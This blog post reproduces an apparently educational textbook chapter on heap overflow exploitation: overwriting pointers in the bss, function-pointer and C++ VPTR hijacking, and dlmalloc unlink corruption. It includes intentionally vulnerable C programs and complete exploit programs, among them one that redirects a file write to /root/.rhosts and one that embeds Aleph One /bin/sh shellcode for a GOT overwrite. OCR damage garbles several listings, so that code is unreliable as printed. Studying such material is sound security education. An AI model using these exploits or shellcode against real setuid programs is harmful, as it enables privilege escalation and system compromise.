Thursday, December 3, 2009

Chapter 3 Heap overflows

3.1 Terminology

3.1.1 Unix

If we look at the lowest addresses of a process loaded in memory we find the following sections:

• .text: contains the code of the process

• .data: contains the initialized datas (global initialized variables or local initialized variables preceded by the keyword static)

• .bss: contains the uninitialized datas (global uninitialized variables or local unintialized variables preceded by the keyword static)

• heap: contains the memory allocated dynamically at run time

3.1.2 Windows

The PE (Portable Executable) format (which describes a binary) in use under windows (95, , NT) operating systems insure you to have the following sections in a binary:

• code: there is executable code in this section.

• data: initialized variables

• bss: uninitialized datas

Their contents and structures are provided by the compiler (not the linker). The stack segment and heap segment are not sections in the binary but are created by the loader from the stacksize and heapsize entries in the optional header;

When speaking of heap overflow we will regroup heap, bss, and data buffer overflows. We will speak of heap (or stack) overflow rather than heap (or stack) based buffer overflow.

3.2 Motivations and Overview

Heap based buffer overflows are rather old but remain strangely less reported than the stack based buffer overflows. We can find several reasons for that:

• they are more difficult to achieve than stack overflows

18

• they are based on several techniques such as function pointer overwrite, Vtable overwrite, exploita­tion of the weaknesses of the malloc libraries

• they require some preconditions concerning the organization of a process in memory

Nevertheless heap overflows should not be under-estimated. In fact, they are one of the solutions used to bypass protections such as LibSafe, StackGuard...

3.3   Overwriting pointers

In this part we will describe the basic idea of heap overflowing. The attacker can use a buffer overflow in the heap to overwrite a filename, a password, a uid, etc ... This kind of attacks need some preconditions in the source code of the vulnerable binary: there should be (in THIS order) a buffer declared (or defined) first, and then a pointer. The following piece of code is a good example of what we are searching:

static char buf[BUFSIZE]; static char *ptr_to_something;

The buffer (buf) and the pointer (ptr_to_something) could be both in the bss segment (case of the example), or both in the data segment, or both in the heap segment, or the buffer could be in the bss segment and the pointer in data segment. This order is very important because the heap grows upward (in contrary to the stack), therefore if we want to overwrite the pointer it should be located after the overflowed buffer.

BEFORE OVERFLOW

AFTER OVERFLOW

"tmpfile.tmp"

"/root/.rhosts"

BEFORE OVERFLOW

AFTER OVERFLOW

Figure 3.1: Overwriting a pointer in the heap

3.3.1 Difficulties

The main difficulty is to find a program respecting the two preconditions stated above. Another difficulty is to find the address of the argv[1] of the vulnerable program (we use it to store for example a new name if we want to overwrite the name of a file).

3.3.2 Interest of the attack

First this kind of attack is very portable (it does not rely on any Operating System). Then we can use it to overwrite a filename and open another file instead. For example, we assume the program runs with SUID root and opens a file to store information; we can overwrite the filename with .rhosts and write garbage there.

3.3.3 Practical study

The example that we will take for explaining the basic idea of heap overflow explained above has been made by Matt Conover for his article on heap overflow.

VulprogLc /*

* Copyright (C) January 1999, Matt Conover & w00w00 Security Development *

* This is a typical vulnerable program.    It will store user input in a

* temporary file.    argv[1] of the program is will have some value used

* somewhere else in the program.    However, we can overflow our user input

* string (i.e. the gets()), and have it overwrite the temporary file

* pointer, to point to argv[1]   (where we can put something such as

* "/root/.rhosts", and after our garbage put a '#' so that our overflow

* is ignored in /root/.rhosts as a comment).    We'll assume this is a

* setuid program.

*/

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #include <errno.h>

6 #define ERROR -1

7 #define BUFSIZE 16

/*

* Run this vulprog as root or change the "vulfile" to something else.

* Otherwise, even if the exploit works it won't have permission to

* overwrite /root/.rhosts (the default "example").

*/

8 int main(int argc, char **argv) {

9 FILE *tmpfd;

10 static char buf[BUFSIZE], *tmpfile;

11 if (argc <= 1) {

12 fprintf(stderr,  "Usage: %s <garbage>\n", argv[0]);

13 exit(ERROR); }

14 tmpfile = "/tmp/vulprog.tmp"; /* no, this is no a temp file vul */

15 printf("before: tmpfile = %s\n", tmpfile);

/* okay, now the program thinks that we have access to argv[1] */

16 printf("Enter one line of data to put in %s:  ", tmpfile);

17 gets(buf);

18 printf("\nafter: tmpfile = %s\n", tmpfile);

19 tmpfd = fopen(tmpfile, "w");

20 if (tmpfd == NULL)

{

21 fprintf(stderr,  "error opening %s: %s\n", tmpfile, strerror(errno));

22 exit(ERROR);

}

23 fputs(buf, tmpfd);

24 fclose(tmpfd);

}

Analysis of the vulnerable program

Buf (line 10) is our entry in the program; it is allocated in the bss segment. The size of this buffer is limited here by BUFSIZE (lines 7, 10). The program is waiting for input from the user [17]. The input will be stored in buf (line 17) through gets(). It is possible to overflow buf since gets() do not verify the size of the input. Just after buf, tmpfile is allocated (line 10). Overflowing buf will let us overwrite the pointer tmpfile and make it point to what we want instead (for example: .rhosts or /etc/passwd). Vulprog1 needs to be run as root or with the SUID bit in order to make the exploit interesting.

Exploit1.c

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #define ERROR -1

6 #define VULPROG "./vulnerable1"

7 #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

/* get value of sp off the stack (used to calculate argv[1] address) */

8 u_long getesp() {

9 __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */

}

10 int main(int argc, char **argv) {

11 u_long addr;

12 register int i;

13 int mainbufsize;

14 char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

15 if (argc <= 1) {

16 fprintf(stderr,  "Usage: %s <offset> [try 310-330]\n", argv[0]);

17 exit(ERROR); }

18 memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");

19 memset(buf + strlen(buf),   'A', DIFF);

20 addr = getesp() + atoi(argv[1]);

/* reverse byte order (on a little endian system) */

21 for (i = 0; i < sizeof(u_long);

22 buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

23 mainbufsize = strlen(buf) + strlen(VULPROG) +

strlen(VULPROG) + strlen(VULFILE) + 13;

24 mainbuf = (char *)malloc(mainbufsize);

25 memset(mainbuf, 0, sizeof(mainbuf));

26 snprintf(mainbuf, mainbufsize - 1,  "echo '%s'   | %s %s\n",

buf, VULPROG, VULFILE);

27 printf("Overflowing tmpaddr to point to 0x%lx, check %s after.\n\n",

addr, VULFILE);

28 system(mainbuf);

29 return 0;

}

Analysis of the exploit

vulprog1 will wait for input by the user. The shell command echo 'toto' | ./vulprog1 will execute vulprogl and feed buf with toto. Garbage is passed to vulprog1 via its argv[1]; although vulprog1 does not process its argv[1] it will stores it in the process memory. It will be accessed through addr (lines 11, 20). We dont know exactly what is the offset from esp to argv1 so we proceed by brute forcing. It means that we try several offsets until we find the good one (a Perl script with a loop can be used, for example). Line 28 we execute mainbuf which is : echo buf | ./vulprog1 root/.rhosts Buf contains the datas we want to write in the file (16 bytes) after it will contain the pointer to the argv[1] of vulprog1 (addr is the address of argv[1] in vulprog!) So when fopen() (vulprogl.c, line 19) will be called with tmpfile,

tmpfile points to the string passed by argv[1] (e.g /root/.rhosts).

3.4   Overwriting function pointers

The idea behind overwriting function pointers is basically the same as the one explained above about overwriting a pointer: we want to overwrite a pointer and make it point to what we want. In the previous paragraph, the pointed element was a string defining the name of a file to be opened. This time it will be a pointer to a function.

3.4.1    Pointer to function: short reminder

In the prototype : int (*func) (char * string), func is a pointer to a function. It is equivalent to say

that func will keep the address of a function whose prototype is something like : int the_func (char *string).

The function func() is known at run-time.

3.4.2 Principle

int goodFunc(void)

BUFFER

BEFORE OVERFLOW

int badFunc(void)

int (*func) (void)

BUFFER

AFTER OVERFLOW

Figure 3.2: Overwriting a function pointer

Like previously we use the memory structure and the fact that we have a pointer after a buffer in the heap. We overflow the buffer, and modify the address kept in the pointer. We will make the pointer points to our function or our shellcode. It is obviously important that the vulnerable program runs as root or with the SUID bit, if we want to really exploit the vulnerability. Another condition is that the heap is executable. In fact, the probability of having an executable heap is greater than the probability of having an executable stack, on most systems. Therefore this condition is not a real problem.

24

3.4.3 Example

Vulprog2.c

/* Just the vulnerable program we will exploit. */ /* To compile use: gcc -o exploit1 exploitLc -ldl */

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #include <dlfcn.h>

6 #define ERROR -1

7 #define BUFSIZE 16

8 int goodfunc(const char *str); /* funcptr starts out as this */

9 int main(int argc, char **argv)

10 {

11 static char buf[BUFSIZE];

12 static int (*funcptr)(const char *str);

13 if (argc <= 2)

14 {

15 fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]);

16 exit(ERROR);

17 }

18 printf("system()'s address = %p\n", &system);

19 funcptr = (int (*)(const char *str))goodfunc;

20 printf("before overflow: funcptr points to %p\n", funcptr);

21 memset(buf, 0, sizeof(buf));

22 strncpy(buf, argv[1], strlen(argv[1]));

23 printf("after overflow: funcptr points to %p\n", funcptr);

24 (void)(*funcptr)(argv[2]);

25 return 0;

26 }

/* This is what funcptr should/would point to if we didn't overflow it */

27 int goodfunc(const char *str)

28 {

29 printf("\nHi, I'm a good function. I was called through funcptr.\n");

30 printf("I was passed: %s\n", str);

31 return 0; }

25

The entry to the vulnerable program is at lines (11) and (12) because there we have a buffer and a pointer allocated in the bss segment. Furthermore the size taken to control the copy in memory is the size of the input (22). Thus we can easily overflow the buffer buf (22) by passing an argv(1) with a size greater than the size of buf. We can then write inside funcptr the address of the function we want to fetch to or the shellcode we want to execute.

Exploit2.c /*

* Copyright (C) January 1999, Matt Conover & w00w00 Security Development *

* Demonstrates overflowing/manipulating static function pointers in the

* bss (uninitialized data) to execute functions. *

* Try in the offset (argv[2]) in the range of 140-160

* To compile use: gcc -o exploit1 exploitLc

*/

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #define BUFSIZE 16 /* the estimated diff between funcptr/buf in vulprog */

6 #define VULPROG "./vulprog2" /* vulnerable program location */

7 #define CMD "/bin/sh" /* command to execute if successful */

8 #define ERROR -1

9 int main(int argc, char **argv)

10 {

11 register int i;

12 u_long sysaddr;

13 static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

14 if (argc <= 1)

15 {

16 fprintf(stderr, "Usage: %s <offset>\n", argv[0]);

17 fprintf(stderr, "[offset = estimated system() offset in vulprog\n\n");

18 exit(ERROR);

19 }

20 sysaddr = (u_long)&system - atoi(argv[1]);

21 printf("Trying system() at 0x%lx\n", sysaddr);

22 memset(buf,   'A', BUFSIZE);

/* reverse byte order (on a little endian system) */

23 for (i = 0; i < sizeof(sysaddr);

24 buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

25 execl(VULPROG, VULPROG, buf, CMD, NULL);

26 return 0;

27 }

The principle is basically the same as the one explained in the heap overflow section. Line 13 we allocate the buffer, the end of the buffer contains the address of the function that funcptr should point to. Line (20) could seem to be a little weird; its goal is to guess the address of /bin/sh which is passed to VULPROG(==./vulprog2) as an argv (line (25)). We could try to guess it with brute forcing. For example:

### bruteForce.pl ### for ($i=110; $i < 200;

system(''./exploit2'' ### end ###

3.5   Trespassing the heap with C + +

In this section, we will first introduce the notion of "binding of function". Then we will explain how this is usually implemented on a compiler. And finally, we will look at a way to exploit this for our profit.

3.5.1   C++ Background

We will begin by considering the following example (example1.cpp)

ExampleLcpp:

1 class A {

2 public:

3 void __cdecl m()    {cout << "A::m()"<< endl; }

4 int ad;

5 };

6 class B : public A {

7 public:

8 void __cdecl m()   {cout << "B::m()"<< endl; }

9 int bd;

10 };

11 void f ( A _ p )

12 {

13 p->ad = 5;

14 p->m();

15 }

16 int main()

17 {

18 A a;

19 B b;

20 f(&a);

21 f(&b);

22 return 0;

23 }

Results of execution: Prompt> gcc test.cpp -o test Prompt> ./test

A::m() A::m()

The problem is to know what code will be executed when we call m() . The execution shows that the code of A::m() is executed. If we have a look at the second example now:

Example2.cpp:

1 class A {

2 public:

3 virtual void __cdecl m() { cout << "A::m()"<< endl; }

4 int ad;

5 };

28

6 class B : public A {

7 public:

8 virtual void __cdecl m() { cout << "B::m()"« endl; }

9 int bd; 10};

Results of execution:

Prompt> gcc test.cpp o test Prompt> ./test

A::m() B::m()

This time A::m() and B::m() are executed.

The problem of the association of a function body to a function call is called binding. In c++ there are two types of binding:

• Early binding: where the association is made during the compilation.

• Late binding: where the association is made during execution (also called dynamic binding or run-time binding). C++, as shown in the second example, can implement late binding therefore there must be some mechanism to determine the type of the object at runtime and call the correct function body.

In the second example (example2.cpp) we see that late binding occurs with virtual functions. The virtual keyword tells the compiler not to perform early binding, but to install some materials for per­forming late binding. So the compiler creates an array (called VTable) in each class that contains virtual functions. This array contains the addresses of the virtual functions of the class. The compiler also puts in the space of the class a pointer to the Vtable, called the Virtual Pointer (VPTR). Therefore when a virtual function is called through a base class pointer the compiler fetch the VPTR and look up the function address in the Vtable.

The position of the VPTR in memory depends on the compiler. With visual c++ 6.0 the Vtable is put at the beginning of the object (look at figure: 3.3); whereas it is put at the end of the object with the gnu compiler gcc (look at figure: 3.4).

^   Member variables grow away from vtable pointer (NT)

Vtable pointer

Beginning of the object

Figure 3.3: VTable position with Visual c

To prove the last statement we add the following lines to main():

High adresses

Vtable pointer

Member variables

Low adresses

Figure 3.4: VTable position with gcc

cout << "Size of a:  " << sizeof (a)

<< " Offset of ad:  " << offsetof (A, ad) << endl;

cout << "Size of b: " << sizeof (b)

<< " Offset of ad:  " << offsetof (B, ad)

<< " Offset of bd:  " << offsetof (B, bd) << endl;

So that we can find the position of ad and bd inside the objects. We obtain the following results:

• Under windows with visual c++ compiler: Size of a: 8 Offset of ad: 4 Size of b: 12 Offset of ad: 4 Offset of bd: 8

• Under Linux with g++ part of gcc 3.0.3: Size of a: 8 Offset of ad: 0 Size of b: 12 Offset of ad: 0 Offset of bd: 8

These results show that there is something before the member variables with VC under windows (the VTable, in fact). This is after the member variables with gcc under Linux. To be more accurate we could add some lines in our code to compare the address of the Vtable with the address of a member variable:

1 void print vtable ( A *pa )

2{

3 // p sees pa as an array of dwords

4 unsigned * p = reinterpret cast<unsigned *>(pa);

5 // vt sees vtable as an array of pointers

6 void ** vt = reinterpret cast<void **>(p[0]);

7 cout << hex << "vtable address = "<< vt << endl;

8}

Results (under Linux with gcc):

Size of a: 8 Offset of ad: 0 Size of b: 12 Offset of ad: 0 Offset of bd: 8 vtable address = 0x4000ab40 address of ad: 0xbffffa94

vtable address = 0xbffffaa8

address of ad: 0xbffffa88

It confirms the position of the Vtable with the gcc compiler.

3.5.2   Overwriting the VPTR

Overwriting the VPTR works on the same basis as overwriting a function pointer, which is described in the previous part. We will begin with the case study of the gcc compiler. This case is the easiest because the vptr is put after the member variables; therefore if there is a buffer among the variables and that we can overflow that buffer (classical method using strcpy or other unsafe functions), then we can overwrite the VPTR and make it points to our own VTable. Usually we will provide our Vtable via the buffer we overflow.

Example of a buffer damaged program (overflowLcpp):

1 #include <iostream>

2 class A{

3 private:

4 char str[11];

5 public:

6 void setBuffer(char * temp){strcpy (str, temp);}

7 virtual void printBuffer(){cout << str << endl ;}

8 };

9 void main (void){

10 A *a;

11 a = new A;

12 a->setBuffer("coucou");

13 a->printBuffer();

14 }

class A contains a buffer named str [4]; the unsafe strcpy [6] is used to feed the buffer. There is an obvious (although rather theoritical) buffer overflow if we call setBuffer() with a string greater than 11 [12]. For example, if we modify [12] by a->setBuffer(''coucoucoucoucoucoucoucoucou''); we obtain : Prompt> segmentation fault.

This is a normal behavior since we have overwritten the address of printBuffer() in the Vtable.

We will build now a more practical example, where we will take the control of the flow of the program.

The goal is to build a buffer bigger than the one expected and fill it with :

• the address of the shell code

• the shell code

• the address that the VPTR will point to

The scheme above is illustrated in figure 3.5.

Here is a sample code taken from [Smashing C++ VPTRS, rix]

BuildBuffer.c

1 char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddress) {

2 char * outputBuffer;

3 unsigned int * internalBuffer;

4 unsigned int offsetShellCode = (unsigned int)vptrOffset - 1;

5 int i=0;

6 outputBuffer = (char *)malloc(vptrOffset + 4 + 1);

7 for (i=0; i<vptrOffset; outputBuffer[i]='\x90';

8 internalBuffer = (unsigned int *)outputBuffer;

VVVV : (4 bytes) the overwritten VPTR, points to our shellcode

C : the shell code to be executed

Figure 3.5: Overwriting the vptr

9 for (i=0;i<numberAddress;i++) internalBuffer[i]=bufferAddress + offsetShellCode;

10 internalBuffer = (unsigned int *)&outputBuffer[vptrOffset];

11 *internalBuffer=bufferAddress;

12 outputBuffer[offsetShellCode] = '\xCC';

13 outputBuffer[vptrOffset+4] = '\x00';

14 return (outputBuffer); }

The code above needs some explanations concerning its behaviour:

Line [4] offsetShellCode is the offset from the beginning of the Buffer to the beginning of the Shell code which in our case will be the last byte of the buffer. In this (theoritical) example our code is \xCC [12], which is the INT_03 interruption. It is reserved for debuggers, and raises an interruption: Trace / breakpoint trap. [7] sets the buffer we want to return with NOPs. In [11] we have overflown the buffer and we write over the VPTR. Now the VPTR points to bufferAddress, e.g the buffer we have overflown. But bufferAdress points to our shellcode now [9].

Now, we provide a usage example for the code above: In line [12] of overflow1.cpp, we replace: a->setBuffer(''coucou''); by a->setBuffer(builBuffer((unsigned int*)&(*a),32,4));

3.5.3 Conclusions

If we want that this exploit becomes interesting we need to apply it to a process running as root or with the SUID bit, usually these are system process; under UNIX (for example) there are few system processes coded in c++, the favourite langage being for that kind of program being C in most cases. Therefore the candidates for this exploit are not so common. Then the C++ program should have at least one virtual methods, and at least one buffer. Finally we should have the possibility to overflow that buffer (requires the use in the program of functions such as strcpy, ...) Thus we can conclude by the fact that this bug will remain very hard to exploit, although it is still possible.

3.6   Exploiting the malloc library

Introduction

We will present now the last technique based on heap overflow exploit. It is deeply nested with the structure of the chunks of memory in the heap. Therefore the method presented here is not portable and depends on an implementation of the malloc library: dlmalloc.

Dlmalloc is known as the Doug Lea Malloc library, from the name of its author, and is also the malloc library used by the gnu libc (look at malloc.h).

3.6.1   DLMALLOC: structure

U

U

F

U

F

U

Wilderness

U : Used chunk F : Free chunk

Wilderness : top most free chunk

Figure 3.6: Memory layout

The part on the right is the part of the heap that can be increased during execution (with the sbrk system call under Unix, Linux).

Each chunk of memory is always bigger than the size required by the user, because it also holds management information (we will call them boundary tags from now). Basically it contains the size of the block and pointers to the next and previous blocks. The structure defining a chunk is :

struct malloc_chunk {

size_t prev_size; // only used when previous chunk is free

size_t size; // size of chunk in bytes + 2 status-bits

struct malloc_chunk *fd; // only used for free chunks: pointer to next chunk

struct malloc_chunk *bk; // only used for free chunks: pointer to previous chunk

};

The figure 3.7 explains the structure of a block, and is different whether the chunk is allocated or free.

• prev-size is a field used only if the previous block is free; but if the previous block is not free then it is used to store datas (in order to decrease wastage).

• Size holds the size of the (current) block. The real size is given by:

Final_size = ( requested_size + 4 bytes ) rounded to the next multiple of 8. Or in C langage: #define Final_size(req)  (((req) +4 + 7) & ~7) Size is aligned on 8 bytes (for portability reasons), therefore the 2 less significant bits of size are unused. In fact they are used for storing informations:

#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2

These flags describe if the previous chunk is used (e.g not free) and if the associated chunk has been allocated via the memory mapping mechanism (the mmap() system call).

chunk

mem

next -chunk

size of prev chunk

size of current chunk

user data

user data

user data

user data

chunk

next chunk

unused

size of current chunk

next-ptr

prev-ptr

unused

size of prev chunk

ALLOCATED CHUNK

Figure 3.7: The structure of a chunk

FREE CHUNK

3.6.2   Corruption of DLMALLOC: principle

The basic idea is always the same; firstly we overflow a buffer then we overwrite datas in our target. The special requirement for a dlmalloc exploit is to have two chunks of memory obtained by malloc; the following example is a good candidate to be exploited:

vul2.c

1 int main(void)

2 {

3 char * buf ;

4 char * bufferl = (char

5 char * buffer2 = (char

6 printf(Enter something:

7 gets(buf);

8 strcpy (buffer1, buf);

9 free(buffer1);

10 free(buffer2);

*)malloc(666) *)malloc(2);

\n);

11 return

12 }

(1);

prompt> perl -e print Enter something: Segmentation fault

"a x 144''   | ./vul2

Line 8 can be used to overflow buffer1 with the buffer obtained line 7. This is possible since gets() is unsafe and does not process any bound checking. In fact we will overwrite the tags (prev_size, size, fd, bk) of buffer2. But what is the interest and how can we spawn a shell ?

The idea behind the exploit is the following: When free() is called line [9] for the first chunk it will look at the next chunk (e.g the second chunk) to see whether it is in use or not. If this second chunk is unused, the macro unlink() will take it off of its doubly linked list and consolidate it with the chunk being freed.

To know if this second chunk is used or not it looks at the next chunk (the third chunk) and controls the less significant bit. At this point, we dont know the state of the second chunk. Therefore we will create a fake chunk with the required informations.

Firstly we fill falsify the field size of the second chunk by assigning -4. Thus dlmalloc will think that the beginning of the next chunk (e.g the third one) is 4 bytes before the beginning of the second chunk. Then we set prev_size of second chunk (which is also the size field of the third chunk) with SOMETHING & ~PREV_INUSE. Hence unlink() will process the second chunk; if we call p2 the pointer to the second chunk:

(1) BK = p2->fd = addr of shell code;

(2) FD = p2->bk = GOT entry of free - 12;

(3) FD->bk = BK   GOT entry of free - 12 + 12 = addr of shell code ;

(4) BK->fd = FD;

[3] comes from the fact that bk is the fourth field in the structure malloc_chunk: struct malloc_chunk {

INTERNAL_SIZE_T prev_size; // p + 4 bytes INTERNAL_SIZE_T size; // p + 8 bytes

struct malloc_chunk * fd; // p + 12 bytes struct malloc_chunk * bk;

};

Finally the index offree in the GOT (that contained originally the address offree in memory) will contain the address of our shell code. This is exactly what we want, because when free is called to release the second chunk vul2.c [9], it will execute our shell code.

The following code ({\it exploit2.c}) implements the idea explained above in C code. Exploit2.c

// code from vudo by MAXX see reference 1 #define FUNCTION_POINTER ( 0x0804951c ) #define CODE_ADDRESS ( 0x080495e8 + 2*4 )

#define VULNERABLE "./vul2" #define DUMMY 0xdefaced #define PREV_INUSE 0x1

char shellcode[] =

/* the jump instruction */

"\xeb\x0appssssffff"

/* the Aleph One shellcode */

M\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" M\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main( void ) {

char * p;

char argv1[ 680 + 1 ];

char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1;

/* the fd field of the first chunk */

*( (void **)p ) = (void *)( DUMMY );

p += 4;

/* the bk field of the first chunk */ *( (void **)p ) = (void *)( DUMMY ); p += 4;

/* the special shellcode */

memcpy( p, shellcode, strlen(shellcode) );

p += strlen( shellcode );

/* the padding */

memset( p,   'B',  (680 - 4*4) - (2*4 + strlen(shellcode)) );

p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );

/* the prev_size field of the second chunk */

*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );

p += 4;

/* the size field of the second chunk */ *( (size_t *)p ) = (size_t)( -4 ); p += 4;

/* the fd field of the second chunk */

*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );

p += 4;

/* the bk field of the second chunk */

*( (void **)p ) = (void *)( CODE_ADDRESS );

p += 4;

/* the terminating NUL character */ *p = '\0';

/* the execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 );

}

chunk _^.

next chunk

next chunk

LOW

prev_size

size

fd

bk

user data

prev_size = DUMMY & ~PREV_INUSE

size = -4

fd = function_ptr - 12

bk = shell code

user data

prev_size

T

HIGH

Figure 3.8: Our fake chunk

Part II

Protection solutions

No comments:

Post a Comment